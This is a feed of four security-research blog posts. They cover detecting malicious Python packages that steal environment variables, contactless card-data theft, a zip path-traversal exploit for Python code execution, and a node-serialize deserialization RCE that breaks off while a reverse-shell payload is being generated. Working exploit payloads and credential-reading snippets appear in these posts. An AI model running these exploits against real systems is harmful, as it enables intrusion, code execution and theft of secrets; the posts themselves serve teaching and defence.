AJIN ABRAHAMhttps://ajinabraham.com/blog/2021-01-25T00:00:00ZBlog of Ajin AbrahamAjin AbrahamDetecting zero days in software supply chain with static and dynamic analysis2021-01-25T00:00:00Ztag:ajinabraham.com,2021-01-25:/blog/detecting-zero-days-in-software-supply-chain-with-static-and-dynamic-analysis<p></p><p></p><p></p><h1>Introduction</h1><p>The recent SolarWinds fiasco showed us how tech giants with solid and matured security programs got targeted from a software supply chain attack. Supply chain attacks have a wide scope, but I will focus on the Application Security aspect of it involving code and data. As DevOps gets matured, we see a lot of code being built and published automatically from CI/CD solutions both on-premise and via SaaS. The majority of effort is being put on protecting production systems where this code runs and a little or medium importance is given to build systems or we offload that responsibility to the service provider. Within the build pipeline, we use security tools that perform Software Composition Analysis or Dependency checking to detect outdated packages, abandoned packages, and packages with known vulnerabilities, etc. There is an OWASP category for this called <a href="https://owasp.org/www-project-top-ten/2017/A9_2017-Using_Components_with_Known_Vulnerabilities" target="_blank"><u>A9:2017-Using Components with Known Vulnerabilities</u></a>. </p><p>What about the packages with unknown vulnerabilities, the ones that got backdoored recently, or the ones with a zero-day? A majority of existing tools work by keeping a database of known vulnerabilities in packages and your security depends on how updated this database is. In case of a zero-day, it is already too late to defend against the harm as some of these databases are updated after the information is publically available. In this post, we will discuss some ideas to proactively detect previously unknown malicious behavior in third party dependencies or malicious dependencies that take advantage of <u><a href="https://www.bleepingcomputer.com/news/security/javascript-packages-caught-stealing-environment-variables/" target="_blank">typosquatting</a>.</u></p><p></p><p></p><h1>Malicious Packages in CI/CD Pipelines</h1><p>Build systems are usually dynamically created and destroyed during the process of building and deploying or publishing assets. An attacker's point of entry is when the build system tries to setup/install an attacker controlled malicious package.<br><br>If the malicious package gets installed during the build, an attacker can perform some of these activities in the context of the build system:</p><ol><li> Steal code and any hardcoded sensitive data along with it.</li><li> Plant a backdoor in code to be used after the code is deployed to the production environment.</li><li> Steal compute resources like CPU, RAM, etc. for activities like crypto mining.</li><li> Steal environment variables, sensitive files, credentials, certificates, etc.</li><li> Perform lateral movement and privilege escalation with the data collected. </li></ol><p>Since we cannot cover everything in this blog, I will focus on the environment variables aspect. All the code shared below is just a proof of concept and not production-ready.<br></p><h1>Stealing Environment Variables</h1><p>The ideas discussed here are applicable cross-platform across different programming languages, but the examples shared will focus on python packages. I have created a <a href="https://github.com/ajinabraham/poc-rogue">malicious python package</a> called <b>poc-rogue</b> that will try various methods to steal environment variables and send that data to localhost:1337 when you try to install it. Let's take a look at some of the approaches to get environment variables from a python program</p><p></p><p>Use python API <span style="font-weight: 700;">os.environ</span></p><pre style="line-height: 1.42857;"><code class="python">return os.environ</code></pre><p>Run <b>env</b> command</p><p></p><pre><code class="python">subprocess.check_output(['env'])</code></pre><p>Run shell's built-in <b>set</b> command</p><p></p><pre><code class="python">subprocess.check_output(['sh', '-c', 'set'])</code></pre><p>Read environ from proc psudo file-system (/<b>proc/<pid>/environ</b>)<br></p><pre><code class="python">loc = Path('/proc') / str(os.getpid()) / 'environ'
return loc.read_text()</code></pre><p>Read <b>files</b> that can contain environment variables</p><pre><code class="python">data = []
commons = {
'/etc/environment', '/etc/profile', '/etc/bashrc',
'~/.bash_profile', '~/.bashrc', '~/.profile',
'~/.cshrc', '~/.zshrc', '~/.tcshrc',
}
for i in commons:
env = Path(i).expanduser().read_text()
data.append(env)</code></pre><p>Access <b>environ</b> pointer from <b>libc.so </b>shared library<br></p><pre><code class="python">libc = ctypes.CDLL(None)
environ = ctypes.POINTER(ctypes.c_char_p).in_dll(libc, 'environ')</code></pre>
<p>These are some of the common ways to access environment variables. There are other ways available as well but for simplicity let's stick with these.<br></p><h1>Static Analysis to Detect Malicious Python Packages</h1><p>Let's do some static analysis to detect malicious packages. We will use <b>semgrep </b>for static analysis. All the code used here is available at <a href="https://github.com/ajinabraham/package_scan">package_scan</a> repo<a href="https://github.com/ajinabraham/package_scan"></a>. The following are the semgrep static analysis rules to detect access of environment variables.</p><script src="https://gist.github.com/ajinabraham/5f6f8dc4a7f222725ad03bac524f9c55.js"></script><p>Semgrep rule syntax is very easy to follow as it uses the programming language's syntax to define rules. To better understand semgrep syntax, take a look at <a href="https://semgrep.dev/docs/">https://semgrep.dev/docs/</a>. The <b>package_scan</b> repo has a file <b>requirements.txt</b> that defines the packages against which we need to run the static analysis.</p><p></p><p><span style="font-size: 16px;"><span style="font-size: 16px;"><span style="font-size: 16px;"></span></span></span></p><pre><code>rsa>=4.7
biplist>=1.0.3
bs4>=0.0.1
colorlog>=4.7.2
shelljob>=0.6
-e git://github.com/ajinabraham/poc-rogue.git#egg=rogue
</code></pre>
<p>Among other python packages, we have our <b>poc-rogue</b> package in the list as well. Let's use the python script <a href="https://github.com/ajinabraham/package_scan/blob/master/static_analysis.py"><b>static_analysis.py</b></a><a href="https://github.com/ajinabraham/package_scan/blob/master/static_analysis.py"> </a>to perform static analysis.</p><img src="/static/img/blog/2021_01_25_semgrep_static_analysis.png" data-filename="2021_01_25_semgrep_static_analysis.png" style="width: 1386px; margin: 0px auto;" class="img-responsive"><p>Neat, we see issues flagged only from our <b>poc-rogue</b> package. This python script will download all the dependencies defined in <b>requirements.txt</b> and their sub dependencies as source code and run semgrep against the code with the ruleset that we have provided. Static analysis can help us detect the low-hanging fruits with ease. But static analysis has its limitations against obfuscated code and there are different permutations of code and APIs to achieve the same logic. So writing detection rules for everything might not scale up in the long run. Hence we also need dynamic analysis to be more precise with our detections.</p><h1>Dynamic Analysis of Malicious Packages</h1><p>For dynamic analysis, we can make use of syscalls as they work at a lower level and is the same irrespective of your high-level programming languages like Python, Node.js, etc. There are multiple ways to trace system calls like using extended Berkeley Packet Filter (eBPF) probes, seccomp-bpf filters that use classic BPF, using ptrace API, etc. For keeping things simple, we use the <b>strace</b> utlity with <b>--seccomp-bpf</b> flag that uses seccomp-bpf filters to collect the system call and ptrace API to deep inspect arguments. Let's try to understand how syscalls can help us with dynamic analysis. If you look into the malicious <a href="https://github.com/ajinabraham/poc-rogue/blob/master/main.py"><u>code</u></a>, some of those generates syscalls.<br></p><h3>Executing Commands</h3>Consider a malicious code that executes certain commands to collect environment variables. <br><p></p><pre><code>$ strace -f -e trace=execve -o strace python -c 'import subprocess;subprocess.call(["env"])'
$ cat strace
431765 execve("/home/ajin/package_scan/venv/bin/python", ["python", "-c", "import subprocess;subprocess.cal"...], 0x7ffee0ac8c48 /* 28 vars */) = 0
431766 execve("/home/ajin/package_scan/venv/bin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = -1 ENOENT (No such file or directory)
431766 execve("/home/ajin/.local/bin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = -1 ENOENT (No such file or directory)
431766 execve("/usr/local/sbin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = -1 ENOENT (No such file or directory)
431766 execve("/usr/local/bin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = -1 ENOENT (No such file or directory)
431766 execve("/usr/sbin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = -1 ENOENT (No such file or directory)
431766 execve("/usr/bin/env", ["env"], 0x7fff8fa0b308 /* 28 vars */) = 0
431766 +++ exited with 0 +++
431765 --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=431766, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
431765 +++ exited with 0 +++
</code></pre><p>I will explain the strace arguments later. But for now, whatever python API you use for command execution, it has to finally reach the <b><b>execve()</b> </b>family of syscalls for executing the commands.<br></p><p></p><h3>Opening Files</h3><p>Consider the reading of sensitive files that has environment variables.</p><p></p>
<pre><code>strace -f -e trace=open,openat -o strace python -c 'from pathlib import Path; Path("~/.bashrc").expanduser().read_text()'
$ cat strace | grep bashrc
432709 openat(AT_FDCWD, "/home/ajin/.bashrc", O_RDONLY|O_CLOEXEC) = 3</code></pre><p>Any file opening operation from standard python API is handled by the<b> openat()</b> or <b>open() </b>family of syscalls in the kernel.<br></p><h3>Network Connections</h3><p>Another example is to use syscalls to identify outbound network connections used by attackers to exfiltrate data.</p><p></p><pre style="line-height: 1.42857;"><code>$ strace -f -e trace=connect -o strace python -c 'import urllib.request;urllib.request.urlopen("http://python.org/")'
$ cat strace | grep 'htons(80)'
435764 connect(3, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45.55.99.72")}, 16) = 0</code></pre><p>You can see that for connecting to python.org, the<b> connect() </b>syscall was used. <br></p><h3>Implementing Dynamic Analysis</h3><p>So with this knowledge, we can use strace to capture all the sensitive system calls invoked <b>when a package is installed</b> and look for patterns that correspond to malicious behavior. For dynamic analysis, we can use the strace command:</p><p></p><pre><code>strace -s 2000 -fqqe trace=openat,execve,connect --seccomp-bpf <cmd></code></pre><p>where the arguments are explained below:</p><table class="table table-bordered"><tbody><tr><td><b>-s 2000</b></td><td>To increase the limit of print strings to 2000 characters</td></tr><tr><td><b>-f </b></td><td>To trace syscalls from forks.</td></tr><tr><td><b>qq</b></td><td>Suppress message about attaching, detaching, and process exit staus.</td></tr><tr><td><b>e trace=openat,execve,connect</b><br></td><td>Trace only openat, execve, and connect system calls.<br></td></tr><tr><td><b>--seccomp-bpf</b><br></td><td>Enable seccomp-bpf filtering to improve performance.<br></td></tr></tbody></table><p><br>The <b><cmd></b> can be <code>pip install <package_name></code>, <code>npm install <pkg_name></code>, etc. or any other commands that perform a package installation. <br><br>You can run the python script <a href="https://github.com/ajinabraham/package_scan/blob/master/dynamic_analysis.py"><b>dynamic_analysis.py</b></a> to perform dynamic analysis of packages mentioned in the <b>requirments.txt </b>file. Please note that we perform dynamic analysis when the packages are installed and before they are actually used. It is fine to run this proof of concept locally, but when you perform dynamic analysis in the real world, it should only be done on an isolated virtual machine.</p><img src="/static/img/blog/2021_01_25_strace_dynamic_analysis.png" data-filename="2021_01_25_strace_dynamic_analysis.png" style="width: 1546px; margin: 0px auto;" class="img-responsive"><p>You can see that our package <b>poc-rogue</b> performed some malicious operations during installation and we have detected it with dynamic analysis using strace. <br></p><h1>Some Caveats</h1><p>Not everything from python code generates a useful syscall. For example, accessing the <a href="https://man7.org/linux/man-pages/man7/environ.7.html" target="_blank"><u>char ** environ</u></a> from libc using a foreign function interface like ctypes does not involve any of the syscall that we can easily trace using strace. It is accessing the environment variables from a memory location. To precisely detect those, you can use <b>LD_PRELOAD</b> to trace libc symbols and functions. Also when you use pip to install a package, it will connect to PyPI or Github servers to access the package and hence you will have to whitelist those connections as you see <a href="https://github.com/ajinabraham/package_scan/blob/master/dynamic_analysis.py#L9-L20" target="_blank">here</a>. In the real world, you need to careful with whitelisting as some of these entries can be abused for exfiltrating data.</p><p></p><h1>Conclusion</h1><p></p><p>We need to implement suitable security controls and processes into build systems with the similar effort we put into production environments. The credentials available within these automated build systems do not have Two-factor authentication enabled which is by design and makes them a lucrative target for attackers. Most real-world attacks are not always sophisticated, but rather some simple hacks that target the weakest links in your environment. The intention of this post is to spread some awareness and possibly share some ideas about the proactive security process and tooling we need in this space. <br></p><h1>Credits</h1><p>Marc Tardif - An ex-colleague and Linux Internals expert for his insights on accessing environment variables from Memory.<br></p><p></p>Ajin AbrahamStealing card details from contactless cards in seconds2020-03-21T00:00:00Ztag:ajinabraham.com,2020-03-21:/blog/stealing-card-details-from-contactless-cards-in-seconds<h2 style="text-align: justify;">Introduction</h2><p>While spending my lonely social distancing time amid the COVID-19 pandemic, it occurred to me why not write a security blog about something that affects everyone's life. Most of you might have Credit/Debit cards with contactless payment feature. Look for following symbol in your card to know if your card is contactless ready. <br></p><p><img src="/static/img/blog/2020_03_20_contactless.png" data-filename="2020_03_20_contactless.png" style="width: 225px; margin: 0px auto; float: left;" class="img-responsive"></p><p><img src="/static/img/blog/2020_03_20_debitcard.png" style="width: 25%; margin: 0px auto; float: none;" class="img-responsive"></p><br><p>These cards use near field communication (NFC) technology so that you can make payments by tapping or placing your card too close to the point of sale (POS) machines. This post is more of a demonstration of how easy it is for rouge actors to abuse the <b>contactless</b> feature in your card to quickly steal card details like <b>Card number, Expiry date</b> and <b>CVV/CVC</b>. Anyone with an android phone having NFC hardware can steal your card information in a matter of seconds if they have access to your card. </p><p>Well if they have your card, they could do anything you might ask. While that is true, I will show how you can get scammed in genuine instances like doing a day to day transaction at your grocery store or filling petrol at a gas station where the service is offered by an individual etc.<br></p><h2>History of Card Frauds</h2><p></p><p>There are lot of ways your card details can be stolen. Skimming tools like <a href="https://krebsonsecurity.com/all-about-skimmers/">these</a> steal data from the magnetic stripe of your card. <img src="/static/img/blog/2020_03_20_mag_stripe.jpg" data-filename="2020_03_20_mag_stripe.jpg" style="width: 25%; margin: 0px auto; float: right;" class="img-responsive">Then there are portable devices like a mini POS that can handle contactless payment, which can be abused by a rouge actor like for <a href="https://www.youtube.com/watch?v=VrreNp9Ebz8">example</a>. Knowing this possible abuse, most POS machines offered to merchants have a limit on how much you can pay via contactless mode on a single tap like an upper limit of 100$ in some countries. For transaction above these limits, you might have to insert the card into the POS machine and manually enter the pin. The data captured from the card via this method will not have the static CVV/CVC that's printed behind most cards. For an attacker, your Card number, Expiry date and CVV are the most valuable information along with Name/ZIP code in some countries. We will see how one can steal these information with an NFC enabled android phone in the coming section.<br></p><h2>Technical Details</h2><p>For demonstrating how easy it is to steal these information, I made up a proof of concept Android app that uses <a href="https://developer.android.com/guide/topics/connectivity/nfc" target="_blank">Android's NFC</a> and <a href="https://developers.google.com/android/reference/com/google/android/gms/vision/text/package-summary">Google Vision</a> APIs. The following digram explains the working of this proof of concept.<br><br><img src="/static/img/blog/2020_03_20_credit_card_copy_architecture.png" data-filename="2020_03_20_credit_card_copy_architecture.png" style="width: 869px; margin: 0px auto;" class="img-responsive"><br>NFC API allows you to capture Card number, Card issuer and Expiry date using NFC hardware in the phone. The 3 digit static CVV/CVC on the back of the card is captured using Vision Text Recognition API. I will not be releasing the source code/binary due to possible ease of abuse. It took me only 5 hours to build this proof of concept, so it’s not that difficult either.</p><p></p><h2>Demo</h2><p>I have used my real cards for this proof of concept and hence masked them physically as well as masked the sensitive information inside the PoC application.</p><p></p><div class="embed-responsive embed-responsive-16by9"><iframe src="https://player.vimeo.com/video/409268068" width="640" height="480" frameborder="0" allow="autoplay; fullscreen" allowfullscreen></iframe></div>
<p></p><h2>Conclusion</h2><p>This is probably already well established with cyber criminals. This demo video is to educate you so that you will be more vigilant the next time you handover your card for a transaction. This is no vulnerability but a feature abuse, so being cautious is the best way to prevent your card details from being stolen. In some countries like India, it is common to have a second factor authentication like a one time password (OTP) that is sent over SMS when you perform an online transaction with your card. This can prevent possible fraud locally within the country, but it's not applicable outside the country as international online transactions does not require an OTP. There is a new technology called <a href="https://www.youtube.com/watch?v=jkp3lU5xG5M" style="background-color: rgb(255, 255, 255);">Dynamic CVV </a>that will address this problem to some extent. Cards with Dynamic CVV will have a tiny electronic ink display that changes CVV number at fixed intervals like time based OTP. </p><p><br></p>Ajin AbrahamExploiting insecure file extraction in Python for code execution2017-09-28T00:00:00Ztag:ajinabraham.com,2017-09-28:/blog/exploiting-insecure-file-extraction-in-python-for-code-execution<p>One of the easiest way to achieve <a href="https://www.acunetix.com/websitesecurity/upload-forms-threat/">code execution in PHP</a> is by exploiting insecurely written file upload handling logic. If you are able to upload arbitrary PHP file by fooling the file upload logic, you can execute arbitrary PHP code. But when it comes to modern web frameworks written in Go, Node.js, Python, Ruby etc. it's a different story. Even if you managed to upload a .py or .js file to the server, requesting these resource via a URL often won't return anything as the route or URL is not exposed by the application. Even if you are able to access the resource by URL, it won't trigger any code execution as it's treated as a static file and just returns plain text source code. This post will explain how to get code execution in one such scenario in Python when you are able to upload compressed files to the server.<br><br>Application security rule of thumb is never to trust user input. Don't just limit that concept to RAW HTTP request object that include query params, post body, files, headers etc. Carefully crafted compressed files that looks legit upon extraction can do bad things if it's handled by insecure code. This post is inspired from a <a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF/issues/358" style="background-color: rgb(255, 255, 255);">Security Bug</a> reported to MobSF and tries to cover the technical aspects of the vulnerability and exploitation. Let's take a look into the insecure code.</p>
<pre><code class="python">
def unzip(zip_file, extraction_path):
"""
code to unzip files
"""
print "[INFO] Unzipping"
try:
files = []
with zipfile.ZipFile(zip_file, "r") as z:
for fileinfo in z.infolist():
filename = fileinfo.filename
dat = z.open(filename, "r")
files.append(filename)
outfile = os.path.join(extraction_path, filename)
if not os.path.exists(os.path.dirname(outfile)):
try:
os.makedirs(os.path.dirname(outfile))
except OSError as exc: # Guard against race condition
if exc.errno != errno.EEXIST:
print "\n[WARN] OS Error: Race Condition"
if not outfile.endswith("/"):
with io.open(outfile, mode='wb') as f:
f.write(dat.read())
dat.close()
return files
except Exception as e:
print "[ERROR] Unzipping Error" + str(e)</code></pre>
<p>This is a fairly simple python code to extract a zip file and return the list of files in the archive. The zip file comeS to the server after a file upload operation and is send to <code>unzip()</code> for extraction. If you look at this line<br></p><pre style="line-height: 1.42857;"><code class="python">outfile = os.path.join(extraction_path, filename)</code></pre><p>You can see that <code>filename</code> variable is controlled by the user. If we set the value of <code>filename</code> to <code>../../foo.py</code></p><p class="p1"><span class="s1">>>> import os</span></p><p class="p1"><span class="s1">>>> extraction_path = "</span><span style="font-variant-ligatures: no-common-ligatures;">/home/ajin/webapp</span><span style="font-variant-ligatures: no-common-ligatures;">/uploads/"</span></p><p class="p1"><span class="s1">>>> filename = "../../foo.py"</span></p><p class="p1"><span class="s1">>>> outfile = os.path.join(extraction_path, filename)</span></p><p class="p1"><span class="s1">>>> outfile</span></p><p class="p1"><span class="s1">'/home/ajin/webapp/uploads/../../foo.py'</span></p><p class="p1"><span class="s1">>>> open(outfile, "w").write("print 'test'")</span></p><p class="p1"><span class="s1">>>> open("/home/ajin/foo.py", "r").read()</span></p><p class="p1"><span class="s1">"print 'test'"</span></p>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 18.0px 'Andale Mono'; color: #28fe14; background-color: #000000; background-color: rgba(0, 0, 0, 0.9)}
span.s1 {font-variant-ligatures: no-common-ligatures}
</style>
<p>By abusing path traversal, we are able to write the file to arbitrary location. In this case into <code>/home/ajin</code> instead of <code>/home/ajin/webapp/uploads/</code> </p><p></p><h2>Arbitrary Code Execution</h2><p>We are able to write python code to arbitrary location. Now let's see how we can execute it.<br>Consider this sample <a href="https://github.com/ajinabraham/bad_python_extract" style="background-color: rgb(255, 255, 255);">vulnerable application</a> written in Python Flask. We will make use of <code>__init__.py</code> in Python to achieve code execution. The <a href="https://docs.python.org/2.7/tutorial/modules.html#packages">docs</a> says </p><blockquote>The <code>__init__.py</code> files are required to make Python treat the directories as containing packages; this is done to prevent directories with a common name, such as <code>string</code>, from unintentionally hiding valid modules that occur later on the module search path. In the simplest case, <code>__init__.py</code> can just be an empty file, but it can also execute initialization code for the package or set the <code>__all__</code> variable, described later.</blockquote><p>So if we can overwrite <code>__init__.py</code> file with arbitrary Python code inside a directory of the web application that act as a package, then we can achieve code execution if that package is imported by the application. For our code to execute, a server restart is required in most case. But in this example we are running a Flask server with <i>debug</i> set to <i>True</i> which means every time a Python file is changed, the server will do a restart.</p><h2>Crafting the Payload</h2><p></p><p>The vulnerable web app has a directory called <a href="https://github.com/ajinabraham/bad_python_extract/tree/master/config">config</a>. There is already <code>__init__.py</code> and <code>settings.py</code> in this directory. The main server file <code>server.py</code> imports <code>settings.py</code> from <code>config</code> directory, which means if we can write code into <code>config/__init__.py</code>, we will be able to achieve code execution. We can craft the payload using the following code:</p>
<pre><code class="python">import zipfile
z_info = zipfile.ZipInfo(r"../config/__init__.py")
z_file = zipfile.ZipFile("/home/ajin/Desktop/bad.zip", mode="w")
z_file.writestr(z_info, "print 'test'")
z_info.external_attr = 0777 << 16L
z_file.close()</code></pre>
<p>If you look into the <a href="https://github.com/ajinabraham/bad_python_extract/blob/master/server.py#L62-L63">file upload code</a>, you can see that the file uploads are extracted into <code>uploads</code> directory. We can create a malicious filename with <a href="https://docs.python.org/2/library/zipfile.html#zipfile.ZipInfo">zipfile.ZipInfo()</a>. Here we give the filename as <code>../config/__init__.py</code> to overwrite <code>__init__.py</code> inside <code>config</code> directory. <code>z_info.external_attr = 0777 << 16L</code> will set the file permission to read and write by everyone. Let's create a zip file and upload it to the vulnerable web app.<br><br><img src="/static/img/blog/2017_09_28_exploit.png" style="width: 856px; margin: 0px auto;" data-filename="2017_09_28_exploit.png" class="img-responsive"></p><p>We can see that the Flask app reloads and the server console prints <b>test</b>. Our code execution is successful. </p><h2>Exploiting Realworld Applications</h2><p>In this example, the arbitrary code executed instantly as the Flask server was running on debug mode. This may not be the case elsewhere. You might need to wait until the server is restarted. Another problem is that we don't always know the package directory like <code>config</code> in this case. It's easy with an open source project where you have access to the source code. For closed source applications, you can take a good guess for package directories like <code>conf, config, settings, utils, urls, view, tests, scripts, controllers, modules, models, admin, login</code> etc. These are some of the common package directories found in some Python web frameworks like Django, Flask, Pyramid, Tornado, CherryPy, web2py etc.<br><br>Alternatively, let's say the web application is running inside Ubuntu Linux. The installed and inbuilt Python packages will be available under: <code>/home/<user>/.local/lib/python2.7/site-packages/pip</code>. Assuming that the app is running under user directory, you can craft a filename like <code>../../.local/lib/python2.7/site-packages/pip/__init__.py</code>. Upon extraction, this creates <code>__init__.py</code> file inside <code>pip</code> directory. If the app is using virtualenv and let's say the virtualenv directory is <code>venv</code>, you can use a filename like <code>../venv/lib/python2.7/site-packages/pip/__init__.py</code>. The will brick pip, but next time someone run pip command in the server, your code will execute! <br></p><h2>Video Demonstration</h2><p></p>
<div class="embed-responsive embed-responsive-16by9"><iframe width="560" height="315" src="https://www.youtube.com/embed/elAV7pZhbq8" frameborder="0" allowfullscreen="" class="embed-responsive-item"></iframe></div>
<p></p><h2>Prevention</h2><p>To prevent this vulnerability, you should use <code>ZipFile.extract()</code> for extracting files. The zipfile <a href="https://docs.python.org/2/library/zipfile.html#zipfile.ZipFile.extract">documentation</a> says: <br></p><blockquote>If a member filename is an absolute path, a drive/UNC sharepoint and leading (back)slashes will be stripped, e.g.: <code>///foo/bar</code> becomes <code>foo/bar</code> on Unix, and <code>C:\foo\bar</code> becomes <code>foo\bar</code> on Windows. And all <code>".."</code> components in a member filename will be removed, e.g.: <code>../../foo../../ba..r</code> becomes <code>foo../ba..r</code>. On Windows illegal characters <code>(:, <, >, |, ", ?, and *) </code> replaced by underscore <code>(_)</code>.</blockquote><p></p>Ajin AbrahamExploiting deserialization bugs in Node.js modules for Remote Code Execution2017-02-08T00:00:00Ztag:ajinabraham.com,2017-02-08:/blog/exploiting-deserialization-bugs-in-nodejs-modules-for-remote-code-execution<p></p><p></p><h2><span style="color: inherit;">The Bug</span></h2>
<p><span style="font-weight: 400;">During a Node.js code review, I happen to see a serialization/deserialization module named </span><a href="https://www.npmjs.com/package/node-serialize"><span style="font-weight: 400;">node-serialize</span></a><span style="font-weight: 400;">. A cookie value that comes from the request was passed into the </span><span style="font-weight: 400;"><code>unserialize()</code></span><span style="font-weight: 400;"> function provided by the module. </span>Here is a sample node.js application to imitate the code:</p><p>
</p><pre><code class="js">var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
res.send("Hello " + escape(obj.username));
}
} else {
res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
maxAge: 900000,
httpOnly: true
});
}
res.send("Hello World");
});
app.listen(3000);
</code></pre><p>
Java, PHP, Ruby and Python have a fair share of Deserialization bugs.
Some resources explaining these issues:<br>
<span style="font-weight: 400;"><br></span><span style="font-weight: 400;"><a href="https://securitycafe.ro/2015/01/05/understanding-php-object-injection/">Understanding PHP Object Injection<br>
</a></span><span style="font-weight: 400;"><a href="https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet">Java Deserialization Cheat Sheet<br>
</a></span><span style="font-weight: 400;"><a href="http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/">Rails Remote Code Execution Vulnerability Explained<br>
</a></span><a href="https://www.cs.uic.edu/~s/musings/pickle/"><span style="font-weight: 400;">Arbitrary code execution with Python pickles<br></span></a>
<span style="font-weight: 400;"><br></span><span style="font-weight: 400;">However I couldn’t find any resource that explained deserialization/object injection bugs in Node.js. I thought to do some research on this and after spending some time I was able to exploit a deserialization bug to achieve arbitrary code injection.</span></p><p></p><h2>Building the Payload</h2>
<p><span style="font-weight: 400;">I have used node-serialize version 0.0.4 for this research</span><b>. </b><span style="font-weight: 400;">For successful exploitation, arbitrary code execution should occur when untrusted input is passed into </span><span style="font-weight: 400;"><code>unserialize()</code></span><span style="font-weight: 400;"> function. The best way to create a payload is to use the</span><span style="font-weight: 400;"> <code>serialize()</code> </span><span style="font-weight: 400;">function of the same module.</span></p><p>
<span style="font-weight: 400;">I created the following JavaScript object and passed it to</span><span style="font-weight: 400;"> <code>serialize()</code></span><span style="font-weight: 400;"> function.</span></p><p><span style="font-weight: 400;">
</span><span style="font-weight: 400;">
</span>
</p><pre><code class="js">var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
</code></pre>
<p><span style="font-weight: 400;">Which gives the following output.</span></p><p></p><p></p><p><img src="/static/img/blog/2017_03_29_nodejs_deserialization.png" style="width: 1050px; margin: 0px auto;" data-filename="2017_03_29_nodejs_deserialization.png" class="img-responsive"></p><p>Now we have a serialized string that can be deserialized with <code>unserialize()</code> function. But the problem is code execution won’t happen until you trigger the function corresponding to the <code>rce</code> property of the object.</p><p>
Later I figured out that we can use JavaScript’s <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)">Immediately invoked function expression (IIFE)</a> for calling the function. If we use IIFE bracket <code>()</code>after the function body, the function will get invoked when the object is created. It works similar to a Class constructor in C++.
<br><br> Now the <code>serialize()</code> function with the modified object code is called.<span style="font-size: 14px;"> </span></p><pre><code class="js">var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));
</code></pre><p>
The following output was obtained</p><p></p><p><img src="/static/img/blog/2017_03_29_nodejs_rce.png" style="width: 1050px; margin: 0px auto;" data-filename="2017_03_29_nodejs_rce.png" class="img-responsive"></p><p><span style="font-weight: 400;">The IIFE worked fine but the serialization failed. So I tried adding bracket </span><span style="font-weight: 400;"><code>()</code></span><span style="font-weight: 400;"> after the function body of the previously serialized string and passed it to </span><span style="font-weight: 400;"><code>unserialize()</code></span><span style="font-weight: 400;"> function and lucky it worked. So we have the exploit payload:</span></p><p></p><code>{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });\n }<span style="color: #4bce0d;">()</span>"}</code>
<p></p><p><span style="font-weight: 400;">Passing it to </span><span style="font-weight: 400;"><code>unserialize()</code></span><span style="font-weight: 400;"> function will result in code execution.</span><br></p><pre><code class="js">var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
</code></pre>
<p></p><p><img src="/static/img/blog/2017_03_29_nodejs_rce_iife.png" style="width: 1050px; margin: 0px auto;" data-filename="2017_03_29_nodejs_rce_iife.png" class="img-responsive"></p><p><span style="font-weight: 400;">Now we know that we can exploit </span><span style="font-weight: 400;"><code>unserialize()</code></span><span style="font-weight: 400;">function in node-serialize module, if untrusted data passed into it. Let’s exploit the vulnerability in the web application to spawn a reverse shell.
</span>
</p><h2>Further Exploitation</h2>
<p><span style="font-weight: 400;">The vulnerability in the web application is that it reads a cookie named profile from the HTTP request, perform base64 decode of the cookie value and pass it to</span><span style="font-weight: 400;"> <code>unserialize()</code></span><span style="font-weight: 400;">function. As cookie is an untrusted input, an attacker can craft malicious cookie value to exploit this vulnerability.</span></p><p><span style="font-weight: 400;">
</span><span style="font-weight: 400;">I used </span><a href="https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py"><span style="font-weight: 400;">nodejsshell.py</span></a><span style="font-weight: 400;"> for generating a reverse shell payload.</span></p><pre><code class="python">$ python nodejsshell.py 127.0.0.1 1337
[+] LHOST = 127.0.0.1
[+] LPORT = 1337
[+] Encoding
